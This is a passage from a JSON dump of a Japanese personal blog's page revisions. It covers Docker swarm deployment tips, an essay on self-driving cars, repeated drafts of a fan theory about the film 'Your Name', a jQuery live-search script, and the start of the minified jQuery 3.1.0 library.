をみるとなんだかそれらしいことが書いてあります。\r\n\r\nというわけで↑を実現する場合に実際にやる作業としては以下の通り\r\n\r\n``` sh\r\n# ラベルの作成\r\n$ docker node update --label-add location=america node1\r\n$ docker node update --label-add location=america node2\r\n$ docker node update --label-add location=america node3\r\n\r\n# サービス側に特定のラベルのところにデプロイという制約の追加\r\n$ docker service update --constraint-add node.labels.location==america some-service\r\n```\r\n\r\nこれで待ってるとそのうちアメリカだけにコンテナが配置されます。制約の記法については、多分これまでの swarm と一緒です。デーモン側でつけたラベルも参照可能なので、そのあたりのやり方については↑の issue コメントを読んで察しましょう。\r\n\r\nこれはとても簡単ですね。非常によいと思いました。ちなみにまだドキュメント化されてないような話なので仕様は変わる可能性があります。気をつけましょう。","created_at":"2016-08-19T10:41:46.000Z","updated_at":"2016-08-19T10:41:46.000Z"},{"id":2985,"name":"text/autonomous_car","body":"%blog% 自動運転車が奪うもの\r\n\r\n自動運転が社会に浸透する結果ドライバーが無職になる!!大変!!という話ばかりを見るような気がしますが、事態はもっと深刻なのではないでしょうか。\r\n\r\n自動運転タクシーが社会に浸透し、定額乗り放題プランが普通となり、そして車を所有するよりも定額乗り放題を契約するほうが遥かに安いという日は、すぐに来るでしょう。そのようになった日、誰が車を買うだろか、という問題があります。\r\n\r\nそのような日、車の需要とは自動運転タクシー会社の消耗分のみになるでしょう。一部超高級車や趣味性の高い車は依然として需要が残るでしょうが、それらの需要では大した雇用を生まないことは分かりきっています。\r\n\r\n車の需要が大幅に減少する結果として車一台一台のコストは上昇するでしょうが、いずれにせよ自動車製造業という莫大な雇用がほぼ消滅に追い込まれることは確実なのではないでしょうか。\r\n\r\nまた住宅の需要という問題もあります。通勤/通学の時間が多少伸びたところで、その時間を余暇や睡眠にまわすことが出来るのであれば、都市部の高価な不動産になんの価値があるだろうかということです(こうした問題について考えるとき、東京に住んでいる人は自分のことはとりあえず忘れてみるのが重要です、神奈川県民でさえ多くの人は車通勤をしているという事実を考えてみるべきです)。\r\n\r\nまたオフィスだって別に都市部にあるメリットはあまり無くなってくるでしょう。\r\n\r\nさらに自動運転が普及する結果渋滞なども激減していくでしょうから、郊外と都市部の住宅地としての価値の違いは激減していくものと思われます。\r\n\r\n建設業界が都市部の大型集合住宅大型オフィスビルに頼りきった状態になっているというのは洋の東西を問わず見られますが、これも大打撃を受けるのではないかということです。\r\n\r\nここで最大の問題となるのは結局いつもの話で、ドイツの過剰生産能力です。過剰生産能力とはつまり人口が過剰であるという意味であり、これを容易に解消することなど出来ませんし、解消しようとした結果中国と日本はより大きな問題を背負いこんでしまっています。\r\n\r\nドイツの過剰生産能力が 100 年前と 70 年前とに起きたかということを今のうちから考えておくというのは決して心配過剰ではないと考えています。","created_at":"2016-08-21T11:17:59.000Z","updated_at":"2016-08-21T11:17:59.000Z"},{"id":2986,"name":"text/do_not_update_service","body":"%blog% Docker swarm モードで service update は基本使わないほうがよさそう\r\n\r\nよくないやり方\r\n\r\n```\r\n# サービスの作成\r\n$ docker service create --name hogehoge -p 41311:80 fuckservice\r\n# イメージの更新\r\n$ docker service update --image hogehoge:latest fuckservice\r\n# デプロイ先制約の追加\r\n$ docker service update --constraints-add node.hoge==huga fuckservice\r\n```\r\n\r\nよりよいやり方\r\n\r\n```\r\n# サービスの作成\r\n$ docker service create --name hogehoge fuckservice\r\n# イメージの更新\r\n$ docker service create hogehoge -p 41312:80 fuckservice_v2\r\nそしてここでリバースプロキシの設定を切り替える\r\n# デプロイ先制約の追加\r\n$ docker service create hogehoge -p 41313:80 --constraint node.hoge==huga fuckservice_v3\r\nそしてここでリバースプロキシの設定を切り替える\r\n```\r\n\r\nようするにいちいちサービスを作りなおしてリバースプロキシなりロードバランサの設定なりで繋ぎかえるほうがよい。\r\n\r\nそれは何故か\r\n\r\n- サービスのアップデートは何故か失敗する(ようにみえる)ことがある\r\n - create しなおした方が大抵てっとりばやい\r\n - 制約を追加したのにデプロイ先がなかなか切り替わらないなんてことが結構ある\r\n - OSS なのだからブラックボックスではなく、何かあったら自分で問題を特定したり直したりすることは理論上できるはずだが、実際できるかとかそれをやりたいかとかは別問題だ。\r\n- 新しいバージョンに問題があった時にリバースプロキシの設定を戻すだけで切り戻せる。\r\n - メリットとしてはこちらの方が大きいかもしれない\r\n\r\nというのがあるからです。 service update のほうもいろいろ考えられて作られていることは分かるのですが、大抵は create しなおしたほうが楽なんじゃないかな。","created_at":"2016-08-22T04:12:49.000Z","updated_at":"2016-08-22T04:12:49.000Z"},{"id":2987,"name":"text/do_not_update_service","body":"%blog% Docker swarm モードで service update は基本使わないほうがよさそう\r\n\r\nよくないやり方\r\n\r\n``` sh\r\n# サービスの作成\r\n$ docker service create --name hogehoge -p 41311:80 fuckservice\r\n# イメージの更新\r\n$ docker service update --image hogehoge:latest fuckservice\r\n# デプロイ先制約の追加\r\n$ docker service update --constraints-add node.hoge==huga fuckservice\r\n```\r\n\r\nよりよいやり方\r\n\r\n``` sh\r\n# サービスの作成\r\n$ docker service create --name hogehoge fuckservice\r\n# イメージの更新\r\n$ docker service create hogehoge -p 41312:80 fuckservice_v2\r\nそしてここでリバースプロキシの設定を切り替える\r\n# デプロイ先制約の追加\r\n$ docker service create hogehoge -p 41313:80 --constraint node.hoge==huga fuckservice_v3\r\nそしてここでリバースプロキシの設定を切り替える\r\n```\r\n\r\nようするにいちいちサービスを作りなおしてリバースプロキシなりロードバランサの設定なりで繋ぎかえるほうがよい。\r\n\r\nそれは何故か\r\n\r\n- サービスのアップデートは何故か失敗する(ようにみえる)ことがある\r\n - create しなおした方が大抵てっとりばやい\r\n - 制約を追加したのにデプロイ先がなかなか切り替わらないなんてことが結構ある\r\n - OSS なのだからブラックボックスではなく、何かあったら自分で問題を特定したり直したりすることは理論上できるはずだが、実際できるかとかそれをやりたいかとかは別問題だ。\r\n- 新しいバージョンに問題があった時にリバースプロキシの設定を戻すだけで切り戻せる。\r\n - メリットとしてはこちらの方が大きいかもしれない\r\n\r\nというのがあるからです。 service update のほうもいろいろ考えられて作られていることは分かるのですが、大抵は create しなおしたほうが楽なんじゃないかな。","created_at":"2016-08-22T04:13:04.000Z","updated_at":"2016-08-22T04:13:04.000Z"},{"id":2988,"name":"text/do_not_update_service","body":"%blog% Docker swarm モードで service update は基本使わないほうがよさそう\r\n\r\nよくないやり方\r\n\r\n``` sh\r\n# サービスの作成\r\n$ docker service create --name hogehoge -p 41311:80 fuckservice\r\n# イメージの更新\r\n$ docker service update --image hogehoge:latest fuckservice\r\n# デプロイ先制約の追加\r\n$ docker service update --constraints-add node.hoge==huga fuckservice\r\n```\r\n\r\nよりよいやり方\r\n\r\n``` sh\r\n# サービスの作成\r\n$ docker service create --name hogehoge fuckservice\r\n# イメージの更新\r\n$ docker service create hogehoge -p 41312:80 fuckservice_v2\r\nそしてここでリバースプロキシの設定を切り替える\r\n# デプロイ先制約の追加\r\n$ docker service create hogehoge -p 41313:80 --constraint node.hoge==huga fuckservice_v3\r\nそしてここでリバースプロキシの設定を切り替える\r\n```\r\n\r\nようするにいちいちサービスを作りなおしてリバースプロキシなりロードバランサの設定なりで繋ぎかえるほうがよい。そのようにしてデプロイして問題なさそうだったら旧サービスは捨てる。あるいは一世代ぐらいは古いの残したままにしておいてもよいかもしれない。\r\n\r\nそれは何故か\r\n\r\n- サービスのアップデートは何故か失敗する(ようにみえる)ことがある\r\n - create しなおした方が大抵てっとりばやい\r\n - 制約を追加したのにデプロイ先がなかなか切り替わらないなんてことが結構ある\r\n - OSS なのだからブラックボックスではなく、何かあったら自分で問題を特定したり直したりすることは理論上できるはずだが、実際できるかとかそれをやりたいかとかは別問題だ。\r\n- 新しいバージョンに問題があった時にリバースプロキシの設定を戻すだけで切り戻せる。\r\n - メリットとしてはこちらの方が大きいかもしれない\r\n\r\nというのがあるからです。 service update のほうもいろいろ考えられて作られていることは分かるのですが、大抵は create しなおしたほうが楽なんじゃないかな。","created_at":"2016-08-22T04:16:00.000Z","updated_at":"2016-08-22T04:16:00.000Z"},{"id":2989,"name":"text/君の名は。そして銀河帝国とその時代","body":"%blog%\r\n\r\n君の名は。という映画をみたところ大変に感動しました。\r\n\r\nこの映画では二人の人間の意識をつなぐという形で時間遡行が行われます。そしてその時間遡行/超越能力は主人公である宮水三葉の一族に相伝されてきた能力であることが示唆されます。\r\n\r\nそしてその宮水の一族が暮らす糸守町は何度も隕石による災害を受けてきました。確認できる限り最低二回、あるいは三回もの隕石の直撃を受けています。\r\n\r\n- 隕石だと確実なもの\r\n - 御神体クレーター\r\n - 作中のメインイベントである 2013 年彗星災害\r\n- 不確実\r\n - 糸守町の隣にあるクレーター状の湖\r\n\r\nまた[彗星の軌道が非常に不可解](http://togetter.com/li/1018240)であることが有志により指摘されています。\r\n\r\nこれが意味するものは何か。それはティアマト彗星とは自然現象ではなく糸守の排除を目的としている軌道爆撃機だということです。作中でもティアマト彗星の分離が自然現象としては説明し難いということが解説されており、同じ個所を何回も隕石が衝突することも通常考えづらいため、これが宇宙生命体の軍事行動だと考えるのが一番自然なのではないでしょうか。\r\n\r\n糸守という土地ないし宮水の一族は時空を破壊し過去へ遡行する能力を持っています。これは宇宙に暮らす全生命体にとって非常に危険な存在であり破壊しなければならない。さもなければ自身の存在が不確定なものとなってしまうからです。\r\n\r\n主人公の宮水三葉はこの時間遡行の能力を彗星災害回避のために宮水一族に備わったものだと劇中推測しています。しかしながら村に相伝されてきた文書資料が火災により喪失されているためこの推測が正しかったのかについて劇中では明らかにされていません。であるならばまず糸守と宮水があり、故に異星体の起動爆撃を受けていると考えても矛盾はないということになります。\r\n\r\nところで宮水一族のもつ時間遡行の能力は使用者の記憶に干渉するということが劇中示唆されています。さもなければ時空の矛盾という現象に巻き込まれた側の男性が気づいてしまい、歴史改変による重大な問題が発生する可能性があるからでしょう。\r\n\r\nこのようにこの世界では記憶や認知に介入するなんらかのテクノロジーが存在しており、ティアマト彗星側も同様のテクノロジーを用いて人間に介入することによって軌道の不自然さなどを人間に気づかせないようにしていたのではないかと考えることで軌道問題についても解決を見ます。\r\n\r\n異星体は今回の起動爆撃も失敗しました。結果として宮水一族も糸守という土地も御神体も破壊することができなかったからです。彼らはこの結果のフィードバックをうけてまた次の 1200 年後に攻撃を行おうと考えるのでしょう。\r\n\r\nしかし、彼らにはもう時間がありません。人類はいずれ自らの星に時間遡行のテクノロジーが存在していることに気づくでしょう。そして時間遡行のテクノロジーを超光速航行へと転用することによって無窮の宇宙へと進出してゆくことになるはずです。\r\n\r\nその時代、少なくとも「彼ら」は人類の敵となることはありえません。彼らが確実に糸守を破壊したかったのであれば地球そのものを破壊するだけの質量兵器を投入すればよかったのに彼らはそれが出来なかった。人類は違います。人類とは自らがもてる最高の火力を同種たる人類に対しても投入できる種族であり、そしてそんなことをした上でまた新たな友好関係を築いていける。そのような冷酷にして柔軟な種族だからです。\r\n\r\n人類は宇宙に存在する様々な種族と出会い、そして駆逐し、人類による銀河帝国を築くことになるでしょう。もう一方の主人公立花瀧はおそらく大成建設に就職したはずです。銀河帝国の時代は恐らくかなり早くに訪れます。その時代彼は無休の宇宙で、銀河系に進出した大成建設のもとで、人類の足跡を証明する偉大な都市の建設に技術者として従事していることでしょう。","created_at":"2016-09-04T13:04:07.000Z","updated_at":"2016-09-04T13:04:07.000Z"},{"id":2990,"name":"text/君の名は。そして銀河帝国とその時代","body":"%blog%\r\n\r\n君の名は。という映画をみたところ大変に感動しました。\r\n\r\nこの映画では二人の人間の意識をつなぐという形で時間遡行が行われます。そしてその時間遡行/超越能力は主人公である宮水三葉の一族に相伝されてきた能力であることが示唆されます。\r\n\r\nそしてその宮水の一族が暮らす糸守町は何度も隕石による災害を受けてきました。確認できる限り最低二回、あるいは三回もの隕石の直撃を受けています。\r\n\r\n- 隕石だと確実なもの\r\n - 御神体クレーター\r\n - 作中のメインイベントである 2013 年彗星災害\r\n- 不確実\r\n - 糸守町の隣にあるクレーター状の湖\r\n\r\nまた[彗星の軌道が非常に不可解](http://togetter.com/li/1018240)であることが有志により指摘されています。\r\n\r\nこれが意味するものは何か。それはティアマト彗星とは自然現象ではなく糸守の排除を目的としている軌道爆撃機だということです。作中でもティアマト彗星の分離が自然現象としては説明し難いということが解説されており、同じ個所を何回も隕石が衝突することも通常考えづらいため、これが宇宙生命体の軍事行動だと考えるのが一番自然なのではないでしょうか。\r\n\r\n糸守という土地ないし宮水の一族は時空を破壊し過去へ遡行する能力を持っています。これは宇宙に暮らす全生命体にとって非常に危険な存在であり破壊しなければならない。さもなければ自身の存在が不確定なものとなってしまうからです。\r\n\r\n主人公の宮水三葉はこの時間遡行の能力を彗星災害回避のために宮水一族に備わったものだと劇中推測しています。しかしながら村に相伝されてきた文書資料が火災により喪失されているためこの推測が正しかったのかについて劇中では明らかにされていません。であるならばまず糸守と宮水があり、故に異星体の起動爆撃を受けていると考えても矛盾はないということになります。\r\n\r\nところで宮水一族のもつ時間遡行の能力は使用者の記憶に干渉するということが劇中示唆されています。さもなければ時空の矛盾という現象に巻き込まれた側の男性が気づいてしまい、歴史改変による重大な問題が発生する可能性があるからでしょう。\r\n\r\nこのようにこの世界では記憶や認知に介入するなんらかのテクノロジーが存在しており、ティアマト彗星側も同様のテクノロジーを用いて人間に介入することによって軌道の不自然さなどを人間に気づかせないようにしていたのではないかと考えることで軌道問題についても解決を見ます。\r\n\r\n異星体は今回の起動爆撃も失敗しました。結果として宮水一族も糸守という土地も御神体も破壊することができなかったからです。彼らはこの結果のフィードバックをうけてまた次の 1200 年後に攻撃を行おうと考えるのでしょう。\r\n\r\nしかし、彼らにはもう時間がありません。人類はいずれ自らの星に時間遡行のテクノロジーが存在していることに気づくでしょう。そして時間遡行のテクノロジーを超光速航行へと転用することによって無窮の宇宙へと進出してゆくことになるはずです。\r\n\r\nその時代、少なくとも「彼ら」は人類の敵となることはありえません。彼らが確実に糸守を破壊したかったのであれば地球そのものを破壊するだけの質量兵器を投入すればよかったのに彼らはそれが出来なかった。人類は違います。人類とは自らがもてる最高の火力を同種たる人類に対しても投入できる種族であり、そしてそんなことをした上でまた新たな友好関係を築いていける。そのような冷酷にして柔軟な種族だからです。\r\n\r\n人類は宇宙に存在する様々な種族と出会い、そして駆逐し、人類による銀河帝国を築くことになるでしょう。もう一方の主人公立花瀧はおそらく大成建設に就職したはずです。銀河帝国の時代は恐らくかなり早くに訪れます。その時代彼は大いなる宇宙で、銀河へと進出した大成建設のもとで、人類の足跡を証明する偉大な都市の建設に技術者として従事していることでしょう。","created_at":"2016-09-04T13:07:05.000Z","updated_at":"2016-09-04T13:07:05.000Z"},{"id":2991,"name":"text/君の名は。そして銀河帝国とその時代","body":"%blog%\r\n\r\n君の名は。という映画をみたところ大変に感動しました。\r\n\r\nこの映画では二人の人間の意識をつなぐという形で時間遡行が行われます。そしてその時間遡行/超越能力は主人公である宮水三葉の一族に相伝されてきた能力であることが示唆されます。\r\n\r\nそしてその宮水の一族が暮らす糸守町は何度も隕石による災害を受けてきました。確認できる限り最低二回、あるいは三回もの隕石の直撃を受けています。\r\n\r\n- 隕石だと確実なもの\r\n - 御神体クレーター\r\n - 作中のメインイベントである 2013 年彗星災害\r\n- 不確実\r\n - 糸守町の隣にあるクレーター状の湖\r\n\r\nまた[彗星の軌道が非常に不可解](http://togetter.com/li/1018240)であることが有志により指摘されています。\r\n\r\nこれが意味するものは何か。それはティアマト彗星とは自然現象ではなく糸守の排除を目的としている軌道爆撃機だということです。作中でもティアマト彗星の分離が自然現象としては説明し難いということが解説されており、同じ個所を何回も隕石が衝突することも通常考えづらいため、これが宇宙生命体の軍事行動だと考えるのが一番自然なのではないでしょうか。\r\n\r\n糸守という土地ないし宮水の一族は時空を破壊し過去へ遡行する能力を持っています。これは宇宙に暮らす全生命体にとって非常に危険な存在であり破壊しなければならない。さもなければ自身の存在が不確定なものとなってしまうからです。\r\n\r\n主人公の宮水三葉はこの時間遡行の能力を彗星災害回避のために宮水一族に備わったものだと劇中推測しています。しかしながら村に相伝されてきた文書資料が火災により喪失されているためこの推測が正しかったのかについて劇中では明らかにされていません。であるならばまず糸守と宮水があり、故に異星体の軌道爆撃を受けていると考えても矛盾はないということになります。\r\n\r\nところで宮水一族のもつ時間遡行の能力は使用者の記憶に干渉するということが劇中示唆されています。さもなければ時空の矛盾という現象に巻き込まれた側の男性が気づいてしまい、歴史改変による重大な問題が発生する可能性があるからでしょう。\r\n\r\nこのようにこの世界では記憶や認知に介入するなんらかのテクノロジーが存在しており、ティアマト彗星側も同様のテクノロジーを用いて人間に介入することによって軌道の不自然さなどを人間に気づかせないようにしていたのではないかと考えることで軌道問題についても解決を見ます。\r\n\r\n異星体は今回の軌道爆撃も失敗しました。結果として宮水一族も糸守という土地も御神体も破壊することができなかったからです。彼らはこの結果のフィードバックをうけてまた次の 1200 年後に攻撃を行おうと考えるのでしょう。\r\n\r\nしかし、彼らにはもう時間がありません。人類はいずれ自らの星に時間遡行のテクノロジーが存在していることに気づくでしょう。そして時間遡行のテクノロジーを超光速航行へと転用することによって無窮の宇宙へと進出してゆくことになるはずです。\r\n\r\nその時代、少なくとも「彼ら」は人類の敵となることはありえません。彼らが確実に糸守を破壊したかったのであれば地球そのものを破壊するだけの質量兵器を投入すればよかったのに彼らはそれが出来なかった。人類は違います。人類とは自らがもてる最高の火力を同種たる人類に対しても投入できる種族であり、そしてそんなことをした上でまた新たな友好関係を築いていける。そのような冷酷にして柔軟な種族だからです。\r\n\r\n人類は宇宙に存在する様々な種族と出会い、そして駆逐し、人類による銀河帝国を築くことになるでしょう。もう一方の主人公立花瀧はおそらく大成建設に就職したはずです。銀河帝国の時代は恐らくかなり早くに訪れます。その時代彼は大いなる宇宙で、銀河へと進出した大成建設のもとで、人類の足跡を証明する偉大な都市の建設に技術者として従事していることでしょう。\r\n","created_at":"2016-09-05T05:24:13.000Z","updated_at":"2016-09-05T05:24:13.000Z"},{"id":2992,"name":"search.coffee","body":"raw\r\nmime js\r\n\r\nvar search_loop = (str)=\u003e{\r\n setTimeout(()=\u003e{\r\n var new_str = $('#search').val();\r\n if(new_str == str || new_str == ''){\r\n if(new_str == ''){ $('#search_area').html('') }\r\n search_loop(new_str);\r\n } else {\r\n $.get('/search', {q: new_str}).done((data)=\u003e{\r\n $('#search_area').html('')\r\n data.each((n)=\u003e{\r\n $('#search_area').append(\r\n $('\u003cp\u003e').html(\r\n $('\u003ca\u003e').attr({href: \"/#{n[0]}\"}).text(n[0])\r\n ).append(\r\n $('\u003cspan\u003e').addClass('lightgray').html(\"  #{n[3]}\")\r\n )\r\n );\r\n });\r\n search_loop(new_str);\r\n }).fail(()=\u003e{\r\n $('#search_area').html('')\r\n seach_loop(new_str)\r\n });\r\n }\r\n }, 200);\r\n}\r\n\r\n$(()=\u003e{\r\n search_loop('')\r\n});\r\n","created_at":"2016-09-07T06:44:51.000Z","updated_at":"2016-09-07T06:44:51.000Z"},{"id":2993,"name":"jquery.js","body":"raw\r\nmime js\r\n\r\n/*! jQuery v3.1.0 | (c) jQuery Foundation | jquery.org/license */\r\n!function(a,b){\"use strict\";\"object\"==typeof module\u0026\u0026\"object\"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error(\"jQuery requires a window with a document\");return b(a)}:b(a)}(\"undefined\"!=typeof window?window:this,function(a,b){\"use strict\";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement(\"script\");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q=\"3.1.0\",r=function(a,b){return new r.fn.init(a,b)},s=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null!=a?a\u003c0?this[a+this.length]:this[a]:f.call(this)},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(f.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(a\u003c0?b:0);return this.pushStack(c\u003e=0\u0026\u0026c\u003cb?[this[c]]:[])},end:function(){return this.prevObject||this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for(\"boolean\"==typeof g\u0026\u0026(j=g,g=arguments[h]||{},h++),\"object\"==typeof g||r.isFunction(g)||(g={}),h===i\u0026\u0026(g=this,h--);h\u003ci;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d\u0026\u0026(j\u0026\u0026d\u0026\u0026(r.isPlainObject(d)||(e=r.isArray(d)))?(e?(e=!1,f=c\u0026\u0026r.isArray(c)?c:[]):f=c\u0026\u0026r.isPlainObject(c)?c:{},g[b]=r.extend(j,f,d)):void 0!==d\u0026\u0026(g[b]=d));return g},r.extend({expando:\"jQuery\"+(q+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return\"function\"===r.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a\u0026\u0026a===a.window},isNumeric:function(a){var b=r.type(a);return(\"number\"===b||\"string\"===b)\u0026\u0026!isNaN(a-parseFloat(a))},isPlainObject:function(a){var b,c;return!(!a||\"[object Object]\"!==k.call(a))\u0026\u0026(!(b=e(a))||(c=l.call(b,\"constructor\")\u0026\u0026b.constructor,\"function\"==typeof c\u0026\u0026m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+\"\":\"object\"==typeof a||\"function\"==typeof a?j[k.call(a)]||\"object\":typeof a},globalEval:function(a){p(a)},camelCase:function(a){return a.replace(t,\"ms-\").replace(u,v)},nodeName:function(a,b){return a.nodeName\u0026\u0026a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d\u003cc;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?\"\":(a+\"\").replace(s,\"\")},makeArray:function(a,b){var c=b||[];return null!=a\u0026\u0026(w(Object(a))?r.merge(c,\"string\"==typeof a?[a]:a):h.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:i.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;d\u003cc;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;f\u003cg;f++)d=!b(a[f],f),d!==h\u0026\u0026e.push(a[f]);return e},map:function(a,b,c){var d,e,f=0,h=[];if(w(a))for(d=a.length;f\u003cd;f++)e=b(a[f],f,c),null!=e\u0026\u0026h.push(e);else for(f in a)e=b(a[f],f,c),null!=e\u0026\u0026h.push(e);return g.apply([],h)},guid:1,proxy:function(a,b){var c,d,e;if(\"string\"==typeof b\u0026\u0026(c=a[b],b=a,a=c),r.isFunction(a))return d=f.call(arguments,2),e=function(){return a.apply(b||this,d.concat(f.call(arguments)))},e.guid=a.guid=a.guid||r.guid++,e},now:Date.now,support:o}),\"function\"==typeof Symbol\u0026\u0026(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(a,b){j[\"[object \"+b+\"]\"]=b.toLowerCase()});function w(a){var b=!!a\u0026\u0026\"length\"in a\u0026\u0026a.length,c=r.type(a);return\"function\"!==c\u0026\u0026!r.isWindow(a)\u0026\u0026(\"array\"===c||0===b||\"number\"==typeof b\u0026\u0026b\u003e0\u0026\u0026b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u=\"sizzle\"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b\u0026\u0026(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;c\u003cd;c++)if(a[c]===b)return c;return-1},J=\"checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped\",K=\"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\",L=\"(?:\\\\\\\\.|[\\\\w-]|[^\\0-\\\\xa0])+\",M=\"\\\\[\"+K+\"*(\"+L+\")(?:\"+K+\"*([*^$|!~]?=)\"+K+\"*(?:'((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\"|(\"+L+\"))|)\"+K+\"*\\\\]\",N=\":(\"+L+\")(?:\\\\((('((?:\\\\\\\\.|[^\\\\\\\\'])*)'|\\\"((?:\\\\\\\\.|[^\\\\\\\\\\\"])*)\\\")|((?:\\\\\\\\.|[^\\\\\\\\()[\\\\]]|\"+M+\")*)|.*)\\\\)|)\",O=new RegExp(K+\"+\",\"g\"),P=new RegExp(\"^\"+K+\"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\"+K+\"+$\",\"g\"),Q=new RegExp(\"^\"+K+\"*,\"+K+\"*\"),R=new RegExp(\"^\"+K+\"*([\u003e+~]|\"+K+\")\"+K+\"*\"),S=new RegExp(\"=\"+K+\"*([^\\\\]'\\\"]*?)\"+K+\"*\\\\]\",\"g\"),T=new RegExp(N),U=new RegExp(\"^\"+L+\"$\"),V={ID:new RegExp(\"^#(\"+L+\")\"),CLASS:new RegExp(\"^\\\\.(\"+L+\")\"),TAG:new RegExp(\"^(\"+L+\"|[*])\"),ATTR:new RegExp(\"^\"+M),PSEUDO:new RegExp(\"^\"+N),CHILD:new RegExp(\"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\(\"+K+\"*(even|odd|(([+-]|)(\\\\d*)n|)\"+K+\"*(?:([+-]|)\"+K+\"*(\\\\d+)|))\"+K+\"*\\\\)|)\",\"i\"),bool:new RegExp(\"^(?:\"+J+\")$\",\"i\"),needsContext:new RegExp(\"^\"+K+\"*[\u003e+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\(\"+K+\"*((?:-\\\\d)?\\\\d*)\"+K+\"*\\\\)|)(?=[^-]|$)\",\"i\")},W=/^(?:input|select|textarea|button)$/i,X=/^h\\d$/i,Y=/^[^{]+\\{\\s*\\[native \\w/,Z=/^(?:#([\\w-]+)|(\\w+)|\\.([\\w-]+))$/,$=/[+~]/,_=new RegExp(\"\\\\\\\\([\\\\da-f]{1,6}\"+K+\"?|(\"+K+\")|.)\",\"ig\"),aa=function(a,b,c){var d=\"0x\"+b-65536;return d!==d||c?b:d\u003c0?String.fromCharCode(d+65536):String.fromCharCode(d\u003e\u003e10|55296,1023\u0026d|56320)},ba=/([\\0-\\x1f\\x7f]|^-?\\d)|^-$|[^\\x80-\\uFFFF\\w-]/g,ca=function(a,b){return b?\"\\0\"===a?\"\\ufffd\":a.slice(0,-1)+\"\\\\\"+a.charCodeAt(a.length-1).toString(16)+\" \":\"\\\\\"+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0},{dir:\"parentNode\",next:\"legend\"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=b\u0026\u0026b.ownerDocument,w=b?b.nodeType:9;if(d=d||[],\"string\"!=typeof a||!a||1!==w\u0026\u00269!==w\u0026\u002611!==w)return d;if(!e\u0026\u0026((b?b.ownerDocument||b:v)!==n\u0026\u0026m(b),b=b||n,p)){if(11!==w\u0026\u0026(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s\u0026\u0026(j=s.getElementById(f))\u0026\u0026t(b,j)\u0026\u0026j.id===f)return d.push(j),d}else{if(l[2])return G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])\u0026\u0026c.getElementsByClassName\u0026\u0026b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa\u0026\u0026!A[a+\" \"]\u0026\u0026(!q||!q.test(a))){if(1!==w)s=b,r=a;else if(\"object\"!==b.nodeName.toLowerCase()){(k=b.getAttribute(\"id\"))?k=k.replace(ba,ca):b.setAttribute(\"id\",k=u),o=g(a),h=o.length;while(h--)o[h]=\"#\"+k+\" \"+sa(o[h]);r=o.join(\",\"),s=$.test(a)\u0026\u0026qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u\u0026\u0026b.removeAttribute(\"id\")}}}return i(a.replace(P,\"$1\"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+\" \")\u003ed.cacheLength\u0026\u0026delete b[a.shift()],b[c+\" \"]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement(\"fieldset\");try{return!!a(b)}catch(c){return!1}finally{b.parentNode\u0026\u0026b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split(\"|\"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b\u0026\u0026a,d=c\u0026\u00261===a.nodeType\u0026\u00261===b.nodeType\u0026\u0026a.sourceIndex-b.sourceIndex;if(d)return 